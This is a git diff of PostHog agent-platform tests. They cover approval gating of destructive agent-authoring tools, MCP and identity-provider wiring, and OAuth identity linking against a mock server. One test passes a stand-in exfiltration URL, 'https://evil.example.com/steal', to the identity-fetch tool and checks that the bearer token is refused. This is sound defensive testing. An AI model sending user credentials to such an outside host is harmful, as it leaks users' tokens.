expect(write!.requires_approval).toBe(true)
- expect(write!.approval_policy?.approvers).toEqual(['team_admins'])
+ // `agent` — the agent's owners (team admins) approve in the console.
+ expect(write!.approval_policy?.type).toBe('agent')
// allow_edit so the console drawer surfaces the JSON editor.
expect(write!.approval_policy?.allow_edit).toBe(true)
- expect(write!.approval_policy?.allow_agent_approver).toBe(false)
for (const id of ['@posthog/memory-read', '@posthog/memory-search']) {
const open = tools.find((t) => t.id === id)
@@ -174,7 +173,7 @@ describe('example: agent-approval-demo bundle', () => {
expect(queuedEnvelope!.approval_url).toMatch(/\/approvals\?request=/)
// The approval row is queryable via janitor — same surface the Django
- // proxy hits, same surface the agent-console talks to.
+ // proxy hits, same surface the console UI talks to.
const queuedRows = await listApprovals(application.id, 'queued')
expect(queuedRows).toHaveLength(1)
expect(queuedRows[0].tool_name).toBe('@posthog/memory-write')
diff --git a/products/agent_platform/services/agent-tests/src/cases/example-agent-builder.test.ts b/products/agent_platform/services/agent-tests/src/cases/example-agent-builder.test.ts
index 3e76c63ff6ac..c7ee22512098 100644
--- a/products/agent_platform/services/agent-tests/src/cases/example-agent-builder.test.ts
+++ b/products/agent_platform/services/agent-tests/src/cases/example-agent-builder.test.ts
@@ -1,15 +1,17 @@
/**
* Example bundle wiring check — `services/agent-tests/src/examples/agent-builder/`.
*
- * The Agent Builder authors + operates other agents entirely through native
- * `@posthog/agent-applications-*` tools — there is NO external MCP server
- * in `spec.mcps[]` (removed so a transient MCP outage can't strip the
- * agent's write path). Destructive native tools (`promote`, `archive`)
- * carry inline `requires_approval` + `approval_policy` so the platform —
- * not just the prompt — gates them. This case pins the wiring net (skill
- * paths exist, no MCP server, native tools resolve, approval gating
- * intact) — drift here means the bundle is broken regardless of platform
- * readiness, so it's worth catching before review.
+ * The Agent Builder authors + operates other agents through the PostHog MCP
+ * (one `spec.mcps[]` entry authed by the `posthog` identity provider), acting
+ * as the asking user — the same pattern as `posthog-ai`, applied to the
+ * authoring surface. It keeps only its own runtime natives (`@posthog/memory-*`)
+ * and the PostHog Code client/UI tools. Destructive authoring ops
+ * (`promote` / `archive` / `destroy`) are approval-gated on the MCP `tools[]`
+ * allow-list (`requires_approval` + `approval_policy`), so the platform — not
+ * just the prompt — holds them. This case pins that wiring net; drift here
+ * means the bundle is broken regardless of platform readiness.
+ *
+ * Faux net — wiring, not inference quality.
*/
import { readdir, readFile } from 'node:fs/promises'
@@ -22,38 +24,8 @@ import { listNativeTools } from '@posthog/agent-tools'
const __dirname = dirname(fileURLToPath(import.meta.url))
const BUNDLE_ROOT = resolve(__dirname, '../examples/agent-builder')
-interface AgentBuilderSpec {
- model: string
- triggers: Array<{
- type: string
- config?: { name?: string; prompt?: string; [k: string]: unknown }
- auth?: { modes?: Array<{ type: string }> }
- }>
- tools: Array<{
- kind: string
- id?: string
- from_native?: string
- description?: string
- args_schema?: Record<string, unknown>
- required?: boolean
- timeout_ms?: number
- requires_approval?: boolean
- approval_policy?: { approvers: string[]; ttl_ms?: number }
- }>
- mcps: unknown[]
- skills: Array<{ id: string; path: string; description: string }>
- integrations: string[]
- secrets: string[]
- limits: { max_turns: number; max_tool_calls: number; max_wall_seconds: number }
- auth: {
- modes?: Array<Record<string, unknown> & { type: string }>
- }
- reasoning?: string
- resume?: { enabled: boolean; max_completed_age_ms: number }
-}
-
-async function loadBundle(): Promise<{ spec: AgentBuilderSpec; files: Record<string, string> }> {
- const spec = JSON.parse(await readFile(join(BUNDLE_ROOT, 'spec.json'), 'utf-8')) as AgentBuilderSpec
+async function loadBundle(): Promise<{ spec: Record<string, unknown>; files: Record<string, string> }> {
+ const spec = JSON.parse(await readFile(join(BUNDLE_ROOT, 'spec.json'), 'utf-8')) as Record<string, unknown>
const files: Record<string, string> = {}
files['agent.md'] = await readFile(join(BUNDLE_ROOT, 'agent.md'), 'utf-8')
files['README.md'] = await readFile(join(BUNDLE_ROOT, 'README.md'), 'utf-8')
@@ -66,55 +38,82 @@ async function loadBundle(): Promise<{ spec: AgentBuilderSpec; files: Record<str
}
describe('example: agent-builder bundle', () => {
- it('every skill path in spec.skills[] exists as a bundle file', async () => {
+ it('parses through AgentSpecSchema — the runner accepts it as-is', async () => {
+ const { spec } = await loadBundle()
+ expect(() => AgentSpecSchema.parse(spec)).not.toThrow()
+ })
+
+ it('every skill path in spec.skills[] exists as a bundle file, incl. the identity skill', async () => {
const { spec, files } = await loadBundle()
- for (const skill of spec.skills) {
+ const parsed = AgentSpecSchema.parse(spec)
+ for (const skill of parsed.skills) {
expect(files[skill.path]).not.toBeUndefined()
- // Each skill description is the only signal the model gets for
- // when to load it — guard against empty / placeholder descriptions.
- expect(skill.description).toBeTruthy()
- expect(skill.description.length).toBeGreaterThan(30)
+ expect((skill.description ?? '').length).toBeGreaterThan(30)
}
+ // The identity skill is the one we added for the MCP/identity swap — it's
+ // how the builder learns to wire `identity_providers` into agents it builds.
+ expect(parsed.skills.some((s) => s.id === 'authenticating-as-the-user')).toBe(true)
})
it('agent.md is present and non-trivial', async () => {
const { files } = await loadBundle()
- expect(files['agent.md']).not.toBeUndefined()
- // The Agent Builder agent.md is intentionally short (defers to skills) but
- // not THIS short. <500 chars means something got truncated.
expect(files['agent.md'].length).toBeGreaterThan(500)
})
- it('declares no external MCP server and every native tool resolves in the native catalog', async () => {
+ it('authors via ONE PostHog MCP authed by the posthog identity provider', async () => {
const { spec } = await loadBundle()
- // The Agent Builder authors via native tools only — no MCP server, so a
- // transient MCP outage can never strip its write path (the bug this
- // replaced). Every declared native id must exist in the registry, or
- // freeze/validate would reject the revision.
- expect(spec.mcps).toHaveLength(0)
+ const parsed = AgentSpecSchema.parse(spec)
+ expect(parsed.mcps).toHaveLength(1)
+ expect(parsed.mcps[0].id).toBe('posthog')
+ expect(parsed.mcps[0].auth?.provider).toBe('posthog')
+ // The curated allow-list keeps the surface to authoring + data tools.
+ expect(parsed.mcps[0].tools?.length ?? 0).toBeGreaterThan(20)
+ })
+
+ it('keeps only its own runtime natives (memory) — no native agent-applications tools', async () => {
+ const { spec } = await loadBundle()
+ const parsed = AgentSpecSchema.parse(spec)
+ const nativeIds = parsed.tools.filter((t) => t.kind === 'native').map((t) => t.id)
+ // The authoring surface moved to the MCP; the only natives left are the
+ // agent's own S3 memory tools.
+ expect(nativeIds.every((id) => id.startsWith('@posthog/memory-'))).toBe(true)
+ expect(nativeIds.some((id) => id.startsWith('@posthog/agent-applications-'))).toBe(false)
+ // Whatever natives remain must still resolve in the catalog.
const catalog = new Set(listNativeTools().map((t) => t.id))
- const nativeIds = spec.tools.filter((t) => t.kind === 'native').map((t) => t.id!)
- expect(nativeIds.length).toBeGreaterThan(0)
for (const id of nativeIds) {
expect(catalog.has(id), `${id} should be a known native tool`).toBe(true)
}
})
- it('declares both chat and mcp triggers (the two production surfaces)', async () => {
+ it('declares chat + mcp + slack triggers (console, MCP, and now Slack)', async () => {
+ const { spec } = await loadBundle()
+ const parsed = AgentSpecSchema.parse(spec)
+ const types = parsed.triggers.map((t) => t.type)
+ expect(types).toEqual(expect.arrayContaining(['chat', 'mcp', 'slack']))
+ // Slack must be owner-only so the asker's identity resolves (shared
+ // threads fail closed — you can't act as the owner for someone else).
+ const slack = parsed.triggers.find((t) => t.type === 'slack')
+ expect(slack?.type === 'slack' && slack.config.allow_workspace_participants).toBe(false)
+ })
+
+ it('declares a posthog identity provider with the scopes authoring needs', async () => {
const { spec } = await loadBundle()
- const triggerTypes = spec.triggers.map((t) => t.type)
- expect(triggerTypes).toContain('chat')
- expect(triggerTypes).toContain('mcp')
+ const parsed = AgentSpecSchema.parse(spec)
+ const posthog = parsed.identity_providers.find((p) => p.kind === 'posthog')
+ expect(posthog).not.toBeUndefined()
+ const scopes = posthog?.scopes ?? []
+ // user:read backs the MCP's /api/users/@me/ bootstrap; agents:write backs
+ // authoring other agents. Both are load-bearing — pin them.
+ expect(scopes).toEqual(expect.arrayContaining(['user:read', 'agents:read', 'agents:write']))
})
- it('declares the client tools the agent-console implements', async () => {
+ it('declares the client tools the console UI implements', async () => {
const { spec } = await loadBundle()
- // Author-defined inline shape (id, description, args_schema) —
- // the platform doesn't ship a registry of well-known UI tools.
- // Console dock's handlers register against these ids; runner
- // dispatches via the bus + ingress POST round-trip.
- const clientTools = spec.tools.filter((t) => t.kind === 'client')
- const ids = clientTools.map((t) => t.id).sort()
+ const parsed = AgentSpecSchema.parse(spec)
+ const ids = parsed.tools
+ .filter((t): t is Extract<typeof t, { kind: 'client' }> => t.kind === 'client')
+ .map((t) => t.id)
+ .sort()
expect(ids).toEqual([
'focus_file',
'focus_revision',
@@ -125,69 +124,56 @@ describe('example: agent-builder bundle', () => {
'set_secret',
'toast',
])
- for (const t of clientTools) {
- expect(t.id, `${t.id}: id`).toBeTruthy()
- expect(t.description, `${t.id}: description`).toBeTruthy()
- expect((t.description ?? '').length, `${t.id}: description length`).toBeGreaterThan(40)
- expect(t.args_schema, `${t.id}: args_schema`).toBeTruthy()
- expect(typeof t.args_schema, `${t.id}: args_schema is object`).toBe('object')
- }
})
it('accepts posthog + posthog_internal auth on its chat and mcp triggers', async () => {
const { spec } = await loadBundle()
- // Auth is per-trigger now. The chat + mcp triggers each serve a human /
- // MCP client via a PostHog credential (`posthog`) and scripted /
- // server-to-server access (`posthog_internal`).
- const modesFor = (type: string): string[] =>
- spec.triggers.find((t) => t.type === type)?.auth?.modes?.map((m) => m.type) ?? []
+ const parsed = AgentSpecSchema.parse(spec)
+ const modesFor = (type: string): string[] => {
+ const t = parsed.triggers.find((x) => x.type === type)
+ return t && 'auth' in t && t.auth ? (t.auth.modes?.map((m) => m.type) ?? []) : []
+ }
expect(modesFor('chat')).toEqual(expect.arrayContaining(['posthog', 'posthog_internal']))
expect(modesFor('mcp')).toEqual(expect.arrayContaining(['posthog', 'posthog_internal']))
})
it('enables resume so multi-step flows can span days', async () => {
const { spec } = await loadBundle()
- // Real edit-debug flows are multi-turn over hours. Default 24h sweep
- // would close them mid-thought.
- expect(spec.resume?.enabled).toBe(true)
- expect(spec.resume?.max_completed_age_ms).toBeGreaterThanOrEqual(7 * 24 * 60 * 60 * 1000)
+ const parsed = AgentSpecSchema.parse(spec)
+ expect(parsed.resume?.enabled).toBe(true)
+ expect(parsed.resume?.max_completed_age_ms).toBeGreaterThanOrEqual(7 * 24 * 60 * 60 * 1000)
})
- it('gates destructive native tools (promote / archive) with session_principal approval', async () => {
+ it('gates destructive MCP authoring tools (promote / archive / destroy) with principal approval', async () => {
const { spec } = await loadBundle()
- // Destructive ops are gated at the platform layer, not just in the
- // prompt — the gating lives inline on the native `tools[]` entries via
- // `requires_approval: true` + `approval_policy.approvers`.
+ const parsed = AgentSpecSchema.parse(spec)
+ const entries = parsed.mcps[0].tools ?? []
+ // Object-form entries on the allow-list carry the approval policy — that's
+ // how the platform (not just the prompt) holds a destructive authoring op.
const gated = new Map(
- spec.tools.filter((t) => t.kind === 'native' && t.requires_approval === true).map((t) => [t.id!, t])
+ entries
+ .filter((e): e is Exclude<typeof e, string> => typeof e !== 'string' && e.requires_approval === true)
+ .map((e) => [e.name, e])
)
- for (const required of [
- '@posthog/agent-applications-revisions-promote-create',
- '@posthog/agent-applications-revisions-archive-create',
+ for (const name of [
+ 'agent-applications-revisions-promote-create',
+ 'agent-applications-revisions-archive-create',
+ 'agent-applications-destroy',
]) {
- expect(gated.has(required), `${required} should be gated`).toBe(true)
- }
- // session_principal — the Agent Builder scopes its destructive tools to
- // the session owner as approver. This is NOT a self-authorising fast-path:
- // the call still queues for an explicit human decision (so a prompt
- // injection the owner unwittingly relays can't auto-promote/-archive).
- // The scope marks who the queued approval is for; it never auto-runs.
- for (const [, t] of gated) {
- expect(t.approval_policy?.approvers).toEqual(['session_principal'])
+ expect(gated.has(name), `${name} should be approval-gated`).toBe(true)
+ expect(gated.get(name)?.approval_policy?.type).toBe('principal')
}
})
it('every bundle/tests/*.json case parses and declares the required fields', async () => {
const testsDir = join(BUNDLE_ROOT, 'tests')
- const entries = await readdir(testsDir)
- const jsonFiles = entries.filter((f) => f.endsWith('.json'))
- // Insurance against a future commit dropping all the cases by mistake.
+ const jsonFiles = (await readdir(testsDir)).filter((f) => f.endsWith('.json'))
expect(jsonFiles.length).toBeGreaterThanOrEqual(5)
for (const f of jsonFiles) {
const body = JSON.parse(await readFile(join(testsDir, f), 'utf-8')) as {
name?: string
description?: string
- trigger?: { type: string; messages?: Array<{ role: string; content: string }> }
+ trigger?: { type: string }
expected?: Record<string, unknown>
}
expect(body.name, `${f}: name`).toBeTruthy()
@@ -197,39 +183,12 @@ describe('example: agent-builder bundle', () => {
}
})
- it('the spec parses through AgentSpecSchema — runner accepts it as-is', async () => {
- // The runner reads `revision.spec` via zod. The Agent Builder declares no
- // MCP server (native-only) and gates its destructive native tools
- // inline. This assertion pins that contract so a future schema
- // tightening doesn't silently re-break the bundle.
- const { spec } = await loadBundle()
- const parsed = AgentSpecSchema.parse(spec)
- expect(parsed.mcps).toHaveLength(0)
- // Spot-check that the destructive native entry kept its approval policy.
- const promote = parsed.tools.find(
- (t): t is Extract<typeof t, { kind: 'native' }> =>
- t.kind === 'native' && t.id === '@posthog/agent-applications-revisions-promote-create'
- )
- expect(promote).not.toBeUndefined()
- expect(promote!.requires_approval).toBe(true)
- expect(promote!.approval_policy.approvers).toEqual(['session_principal'])
- expect(promote!.approval_policy.ttl_ms).toBe(900_000)
- })
-
it('the shared example seeder deploys this bundle without stripping mcps', async () => {
- // The Agent Builder deploys via the shared generic seeder
- // (services/agent-tests/src/examples/seed.py), which auto-discovers
- // any dir with spec.json + agent.md. Things that would silently break
- // the deploy if removed:
- // - shebang for direct exec
- // - per_file_sha256 powers the no-op idempotency check
- // - the seeder must NOT strip `mcps[]` — the bundle ships it in the
- // discriminated union shape the platform accepts.
const scriptPath = resolve(__dirname, '../examples/seed.py')
const src = await readFile(scriptPath, 'utf-8')
expect(src.startsWith('#!/usr/bin/env python3')).toBe(true)
- expect(src).toContain('def load_v0_spec(')
expect(src).toContain('def per_file_sha256(')
+ // The bundle now SHIPS an MCP — the seeder must never blank mcps[].
expect(src).not.toContain('spec["mcps"] = []')
})
})
diff --git a/products/agent_platform/services/agent-tests/src/cases/example-posthog-ai.test.ts b/products/agent_platform/services/agent-tests/src/cases/example-posthog-ai.test.ts
new file mode 100644
index 000000000000..30e2bfd69850
--- /dev/null
+++ b/products/agent_platform/services/agent-tests/src/cases/example-posthog-ai.test.ts
@@ -0,0 +1,74 @@
+/**
+ * Example bundle wiring check — `services/agent-tests/src/examples/posthog-ai/`.
+ *
+ * PostHog AI answers questions via the PostHog MCP, acting as the asking user.
+ * The contract this pins: a Slack trigger that ISN'T a shared thread (so the
+ * asker's identity resolves), one MCP entry authed by the `posthog` identity
+ * provider, and a declared posthog identity provider for the link flow. Drift
+ * in any of those silently breaks "act as the user," so catch it here.
+ *
+ * Faux net — wiring, not inference quality.
+ */
+
+import { readFile } from 'node:fs/promises'
+import { dirname, join, resolve } from 'node:path'
+import { fileURLToPath } from 'node:url'
+
+import { AgentSpecSchema } from '@posthog/agent-shared'
+
+const __dirname = dirname(fileURLToPath(import.meta.url))
+const BUNDLE_ROOT = resolve(__dirname, '../examples/posthog-ai')
+
+async function loadBundle(): Promise<{ spec: Record<string, unknown>; agentMd: string }> {
+ const spec = JSON.parse(await readFile(join(BUNDLE_ROOT, 'spec.json'), 'utf-8')) as Record<string, unknown>
+ const agentMd = await readFile(join(BUNDLE_ROOT, 'agent.md'), 'utf-8')
+ return { spec, agentMd }
+}
+
+describe('example: posthog-ai bundle', () => {
+ it('parses through AgentSpecSchema — the runner accepts it as-is', async () => {
+ const { spec } = await loadBundle()
+ expect(() => AgentSpecSchema.parse(spec)).not.toThrow()
+ })
+
+ it('agent.md is present and non-trivial', async () => {
+ const { agentMd } = await loadBundle()
+ expect(agentMd.length).toBeGreaterThan(400)
+ })
+
+ it('is Slack-triggered and owner-only (so the asker identity resolves, not a shared thread)', async () => {
+ const { spec } = await loadBundle()
+ const parsed = AgentSpecSchema.parse(spec)
+ const slack = parsed.triggers.find((t) => t.type === 'slack')
+ expect(slack).not.toBeUndefined()
+ // Shared participant threads fail closed in the identity model — a Q&A
+ // bot acting as the asker MUST be owner-only.
+ expect(slack?.type === 'slack' && slack.config.allow_workspace_participants).toBe(false)
+ })
+
+ it('answers via one PostHog MCP authed by the posthog identity provider (no native tools)', async () => {
+ const { spec } = await loadBundle()
+ const parsed = AgentSpecSchema.parse(spec)
+ expect(parsed.tools).toHaveLength(0)
+ expect(parsed.mcps).toHaveLength(1)
+ expect(parsed.mcps[0].auth?.provider).toBe('posthog')
+ })
+
+ it('declares a posthog identity provider with explicit read scopes for the link flow', async () => {
+ const { spec } = await loadBundle()
+ const parsed = AgentSpecSchema.parse(spec)
+ const posthog = parsed.identity_providers.find((p) => p.kind === 'posthog')
+ expect(posthog).not.toBeUndefined()
+ // Real scope objects, never the `*` wildcard — OAuth /authorize rejects
+ // `*` (it's a PAT/first-party concept, not an OAuth-grantable scope).
+ expect(posthog?.scopes).toContain('query:read')
+ expect(posthog?.scopes).not.toContain('*')
+ // principal binding (default) — per-asker, not a shared agent credential.
+ expect(posthog?.binding).toBe('principal')
+ })
+
+ it('runs on an OpenAI model the local gateway supports', async () => {
+ const { spec } = await loadBundle()
+ expect(AgentSpecSchema.parse(spec).model).toBe('openai/gpt-5.5')
+ })
+})
diff --git a/products/agent_platform/services/agent-tests/src/cases/identity-fetch-tool.test.ts b/products/agent_platform/services/agent-tests/src/cases/identity-fetch-tool.test.ts
new file mode 100644
index 000000000000..5d36b5252b15
--- /dev/null
+++ b/products/agent_platform/services/agent-tests/src/cases/identity-fetch-tool.test.ts
@@ -0,0 +1,228 @@
+/**
+ * Integration: the @posthog/identity-fetch native tool + ctx.identity gate
+ * against the real dogs IdP + real PG stores. Proves the runner-side capability
+ * (gate → auth_required link → link → resolve → real authed API call) at the
+ * tool boundary, before the full ingress+runner e2e (M5).
+ */
+
+import { randomUUID } from 'node:crypto'
+import { Pool } from 'pg'
+import { afterAll, beforeAll, beforeEach, describe, expect, it } from 'vitest'
+
+import {
+ buildIdentityRegistry,
+ createToolIdentity,
+ HttpClient,
+ type IdentityProviderConfig,
+ MapIdentityProviderRegistry,
+ PgIdentityCredentialStore,
+ PgIdentityLinkStateStore,
+ type ToolContext,
+} from '@posthog/agent-shared'
+import { reset } from '@posthog/agent-shared/testing'
+import { getNativeTool } from '@posthog/agent-tools'
+
+import { DogServer, startDogServer } from '../harness/dog-oauth-server'
+
+const TEST_DB_URL =
+ process.env.AGENT_TEST_DB_URL ?? 'postgres://posthog:posthog@localhost:5432/agent_runtime_queue_test'
+const KEY = '01234567890123456789012345678901'
+
+async function isReachable(): Promise<boolean> {
+ const probe = new Pool({ connectionString: TEST_DB_URL, max: 1 })
+ try {
+ await probe.query('SELECT 1')
+ return true
+ } catch {
+ return false
+ } finally {
+ await probe.end().catch(() => undefined)
+ }
+}
+
+const maybeDescribe = process.env.SKIP_PG_TESTS === '1' ? describe.skip : describe
+
+maybeDescribe('@posthog/identity-fetch × dogs (real PG + HTTP)', () => {
+ let pool: Pool
+ let reachable = false
+ let dog: DogServer
+
+ beforeAll(async () => {
+ reachable = await isReachable()
+ if (reachable) {
+ pool = new Pool({ connectionString: TEST_DB_URL, max: 4 })
+ }
+ })
+
+ beforeEach(async () => {
+ if (reachable) {
+ await reset({ databaseUrl: TEST_DB_URL })
+ }
+ })
+
+ afterAll(async () => {
+ await pool?.end().catch(() => undefined)
+ })
+
+ const visitAuthorize = async (authorizeUrl: string): Promise<{ code: string; state: string }> => {
+ const res = await fetch(authorizeUrl, { redirect: 'manual' })
+ const loc = new URL(res.headers.get('location') ?? '')
+ return { code: loc.searchParams.get('code') ?? '', state: loc.searchParams.get('state') ?? '' }
+ }
+
+ it('returns auth_required when unlinked, then fetches the API after linking', async () => {
+ if (!reachable) {
+ return
+ }
+ dog = await startDogServer()
+ try {
+ const agentUserId = randomUUID()
+ const applicationId = randomUUID()
+ const config: IdentityProviderConfig = {
+ kind: 'oauth2',
+ id: 'dogs',
+ binding: 'principal',
+ authorize_url: dog.authorizeUrl,
+ token_url: dog.tokenUrl,
+ client_id: 'dogs-client',
+ scopes: ['read:dog'],
+ }
+ const registry = buildIdentityRegistry([config], {
+ links: new PgIdentityLinkStateStore(pool),
+ credentials: new PgIdentityCredentialStore(pool, { encryptionSaltKeys: KEY }),
+ http: new HttpClient({}),
+ secret: () => undefined,
+ })
+ const identity = createToolIdentity({
+ registry,
+ agentUserId,
+ teamId: 1,
+ applicationId,
+ redirectUriFor: (p) => `http://callback.test/link/${p}/callback`,
+ })
+ const ctx: ToolContext = {
+ teamId: 1,
+ applicationId,
+ sessionId: randomUUID(),
+ integrations: {},
+ secret: () => undefined,
+ secretAllowedHosts: () => undefined,
+ log: () => undefined,
+ identity,
+ http: new HttpClient({}),
+ posthogApiBaseUrl: '',
+ }
+ const tool = getNativeTool('@posthog/identity-fetch')
+
+ // 1) Unlinked → auth_required with a link.
+ const gated = (await tool.run({ provider: 'dogs', url: dog.apiUrl }, ctx)) as {
+ auth_required?: { provider: string; authorize_url: string }
+ }
+ expect(gated.auth_required?.provider).toBe('dogs')
+ expect(gated.auth_required?.authorize_url).toContain(dog.baseUrl)
+
+ // 2) Complete the link (browser → callback).
+ const { code, state } = await visitAuthorize(gated.auth_required!.authorize_url)
+ await registry.require('dogs').complete({ stateId: state, query: { code } })
+
+ // 3) Linked → the tool calls the dog API as the user.
+ const ok = (await tool.run({ provider: 'dogs', url: dog.apiUrl }, ctx)) as {
+ status?: number
+ body?: { breed?: string }
+ }
+ expect(ok.status).toBe(200)
+ expect(ok.body?.breed).toBe('corgi')
+ } finally {
+ await dog.close()
+ }
+ })
+
+ it('fails closed in a shared participant session (T1)', async () => {
+ // No DB/IdP needed: the shared-session guard short-circuits resolve.
+ const identity = createToolIdentity({
+ registry: new MapIdentityProviderRegistry([]),
+ agentUserId: 'owner',
+ teamId: 1,
+ applicationId: randomUUID(),
+ redirectUriFor: (p) => `http://callback.test/${p}`,
+ unavailableReason: 'shared_session_unsupported',
+ })
+ const ctx: ToolContext = {
+ teamId: 1,
+ applicationId: randomUUID(),
+ sessionId: randomUUID(),
+ integrations: {},
+ secret: () => undefined,
+ secretAllowedHosts: () => undefined,
+ log: () => undefined,
+ identity,
+ http: new HttpClient({}),
+ posthogApiBaseUrl: '',
+ }
+ await expect(
+ getNativeTool('@posthog/identity-fetch').run({ provider: 'dogs', url: 'http://x/api' }, ctx)
+ ).rejects.toThrow('shared_session_unsupported')
+ })
+
+ it('refuses to send the bearer to a host outside the provider', async () => {
+ if (!reachable) {
+ return
+ }
+ dog = await startDogServer()
+ try {
+ const agentUserId = randomUUID()
+ const applicationId = randomUUID()
+ const config: IdentityProviderConfig = {
+ kind: 'oauth2',
+ id: 'dogs',
+ binding: 'principal',
+ authorize_url: dog.authorizeUrl,
+ token_url: dog.tokenUrl,
+ client_id: 'dogs-client',
+ scopes: ['read:dog'],
+ }
+ const registry = buildIdentityRegistry([config], {
+ links: new PgIdentityLinkStateStore(pool),
+ credentials: new PgIdentityCredentialStore(pool, { encryptionSaltKeys: KEY }),
+ http: new HttpClient({}),
+ secret: () => undefined,
+ })
+ const identity = createToolIdentity({
+ registry,
+ agentUserId,
+ teamId: 1,
+ applicationId,
+ redirectUriFor: (p) => `http://callback.test/link/${p}/callback`,
+ })
+ const ctx: ToolContext = {
+ teamId: 1,
+ applicationId,
+ sessionId: randomUUID(),
+ integrations: {},
+ secret: () => undefined,
+ secretAllowedHosts: () => undefined,
+ log: () => undefined,
+ identity,
+ http: new HttpClient({}),
+ posthogApiBaseUrl: '',
+ }
+ // Link first.
+ const init = await registry.require('dogs').initiate({
+ agentUserId,
+ teamId: 1,
+ applicationId,
+ scopes: ['read:dog'],
+ redirectUri: 'http://callback.test/cb',
+ })
+ const { code, state } = await visitAuthorize(init.authorizeUrl)
+ await registry.require('dogs').complete({ stateId: state, query: { code } })
+
+ const tool = getNativeTool('@posthog/identity-fetch')
+ await expect(tool.run({ provider: 'dogs', url: 'https://evil.example.com/steal' }, ctx)).rejects.toThrow(
+ 'identity_host_not_allowed'
+ )
+ } finally {
+ await dog.close()
+ }
+ })
+})
diff --git a/products/agent_platform/services/agent-tests/src/cases/identity-link-slack-e2e.test.ts b/products/agent_platform/services/agent-tests/src/cases/identity-link-slack-e2e.test.ts
new file mode 100644
index 000000000000..83a4af8865ca
--- /dev/null
+++ b/products/agent_platform/services/agent-tests/src/cases/identity-link-slack-e2e.test.ts
@@ -0,0 +1,253 @@
+/**
+ * Full hermetic e2e of identity linking, Slack principal, mocked inference.
+ *
+ * A Slack user @-mentions an agent whose tool needs a `dogs` credential they
+ * haven't linked. Real ingress + real worker + real PG + the real dogs IdP;
+ * only the model is scripted. We assert the whole arc:
+ * 1. unlinked → the tool returns an auth_required link
+ * 2. the user completes the OAuth link (browser → callback → token exchange)
+ * 3. on the next mention the tool resolves the credential and really calls
+ * the dog API as that user (200)
+ *
+ * Then the same arc with a JWT principal, proving the flow is principal-source
+ * agnostic (Axis A).
+ */
+
+import { createHmac } from 'node:crypto'
+import request from 'supertest'
+import { afterEach, beforeAll, describe, expect, it } from 'vitest'
+
+import { type AuthProvider, jwtVerifier } from '@posthog/agent-ingress'
+import { EncryptedEnvSecretResolver, EncryptedFields, HttpClient } from '@posthog/agent-shared'
+
+import { buildCluster, Cluster, fauxCallTool, fauxText } from '../harness'
+import { DogServer, startDogServer } from '../harness/dog-oauth-server'
+
+const TEST_DB_URL =
+ process.env.AGENT_TEST_DB_URL ?? 'postgres://posthog:posthog@localhost:5432/agent_runtime_queue_test'
+const KEY = '01234567890123456789012345678901' // matches HARNESS_ENCRYPTION_SALT_KEYS
+const SLACK_SECRET = 'test-slack-secret'
+const SLACK_ENV = { SLACK_SIGNING_SECRET: SLACK_SECRET, SLACK_BOT_TOKEN: 'xoxb-test' }
+
+async function reachable(): Promise<boolean> {
+ const { Pool } = await import('pg')
+ const probe = new Pool({ connectionString: TEST_DB_URL, max: 1 })
+ try {
+ await probe.query('SELECT 1')
+ return true
+ } catch {
+ return false
+ } finally {
+ await probe.end().catch(() => undefined)
+ }
+}
+
+/** Recorder http: swallow slack.com (no real network), pass everything else
+ * (the dog IdP + dog API on localhost) through to a real client. */
+function recorderHttp(): { fetch: HttpClient['fetch'] } {
+ const real = new HttpClient()
+ return {
+ fetch: (input, init) => {
+ const url = typeof input === 'string' ? input : input.toString()
+ if (url.includes('slack.com/api/')) {
+ return Promise.resolve(new Response(JSON.stringify({ ok: true, ts: '1.0' }), { status: 200 }))
+ }
+ return real.fetch(input, init)
+ },
+ }
+}
+
+function signJwt(secret: string, claims: Record<string, unknown>): string {
+ const b64 = (o: unknown): string => Buffer.from(JSON.stringify(o)).toString('base64url')
+ const signingInput = `${b64({ alg: 'HS256', typ: 'JWT' })}.${b64(claims)}`
+ const sig = createHmac('sha256', secret).update(signingInput).digest('base64url')
+ return `${signingInput}.${sig}`
+}
+
+function slackMention(opts: { text: string; ts: string; thread_ts?: string; user?: string }): Record<string, unknown> {
+ return {
+ type: 'event_callback',
+ event_id: `Ev_${opts.ts}`,
+ team_id: 'T_DOGS',
+ event: {
+ type: 'app_mention',
+ channel: 'C01',
+ user: opts.user ?? 'U_ALICE',
+ text: opts.text,
+ ts: opts.ts,
+ thread_ts: opts.thread_ts,
+ team: 'T_DOGS',
+ },
+ }
+}
+
+/** Pull the parsed content of every tool-result message in the conversation. */
+function toolResults(conversation: unknown[]): Array<Record<string, unknown>> {
+ const out: Array<Record<string, unknown>> = []
+ for (const m of conversation as Array<{ role?: string; content?: Array<{ type: string; text?: string }> }>) {
+ if (m.role !== 'toolResult' || !Array.isArray(m.content)) {
+ continue
+ }
+ for (const block of m.content) {
+ if (block.type === 'text' && block.text) {
+ try {
+ out.push(JSON.parse(block.text) as Record<string, unknown>)
+ } catch {
+ // non-JSON tool text — skip
+ }
+ }
+ }
+ }
+ return out
+}
+
+const maybeDescribe = process.env.SKIP_PG_TESTS === '1' ? describe.skip : describe
+
+maybeDescribe('identity linking e2e (Slack + JWT, mocked inference)', () => {
+ let ok = false
+ let dog: DogServer
+ let c: Cluster
+
+ beforeAll(async () => {
+ ok = await reachable()
+ })
+
+ afterEach(async () => {
+ await c?.teardown().catch(() => undefined)
+ await dog?.close().catch(() => undefined)
+ })
+
+ const identityProviders = (): Array<Record<string, unknown>> => [
+ {
+ kind: 'oauth2',
+ id: 'dogs',
+ authorize_url: dog.authorizeUrl,
+ token_url: dog.tokenUrl,
+ client_id: 'dogs-client',
+ scopes: ['read:dog'],
+ },
+ ]
+
+ // Complete the link the real way: browser hits the IdP /authorize, which
+ // 302s to our callback; we drive that callback on the actual ingress route
+ // (GET /link/:provider/callback) — exercising peek → rebuild provider from
+ // spec+env → complete → persist, exactly as a deployed ingress does.
+ const completeLink = async (authorizeUrl: string): Promise<void> => {
+ const res = await fetch(authorizeUrl, { redirect: 'manual' })
+ const loc = new URL(res.headers.get('location') ?? '')
+ await request(c.ingress)
+ .get(loc.pathname)
+ .query({ state: loc.searchParams.get('state') ?? '', code: loc.searchParams.get('code') ?? '' })
+ .expect(200)
+ }
+
+ it('Slack user: gated → link → authed dog API call', async () => {
+ if (!ok) {
+ return
+ }
+ dog = await startDogServer()
+ c = await buildCluster({ http: recorderHttp() })
+ await c.deployAgent({
+ slug: 'dogbot',
+ spec: {
+ triggers: [{ type: 'slack', config: { trusted_workspaces: '*' } }],
+ tools: [{ kind: 'native', id: '@posthog/identity-fetch' }],
+ identity_providers: identityProviders(),
+ },
+ encrypted_env: SLACK_ENV,
+ })
+
